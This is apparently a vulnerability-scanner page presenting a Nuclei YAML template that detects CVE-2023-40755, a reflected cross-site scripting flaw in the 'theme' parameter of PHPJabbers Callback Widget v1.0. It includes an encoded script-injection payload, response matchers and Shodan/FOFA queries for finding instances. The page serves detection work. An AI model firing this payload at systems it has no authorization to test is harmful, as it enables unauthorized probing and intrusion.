PHPJabbers Callback Widget v1.0 - Cross-Site Scripting

ID: CVE-2023-40755

Severity: medium

Author: ritikchaddha

Tags: cve,cve2023,phpjabbers,callback-widget,xss

Description

There is a Cross Site Scripting (XSS) vulnerability in the “theme” parameter of preview.php in PHPJabbers Callback Widget v1.0.

YAML Source

id: CVE-2023-40755

info:
  name: PHPJabbers Callback Widget v1.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the "theme" parameter of preview.php in PHPJabbers Callback Widget v1.0.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40755
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-40755
    cwe-id: CWE-79
    cpe: cpe:2.3:a:phpjabbers:callback_widget:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: callback_widget
  tags: cve,cve2023,phpjabbers,callback-widget,xss

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - 'PHPJabbers'
        case-insensitive: true
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/preview.php?theme=theme10dnel8%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Eko0so"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'theme=theme10dnel8"><script>alert(document.domain)</script>ko0'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d710eb08bf2dd6aea1372413e59745bb17a9775c7f13a63547798d0fec74f2990220585db66117ed4fc32f8ef055f0d083c66bcd65e9218b348ffd4a3a1c99f13b85:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-40755.yaml"

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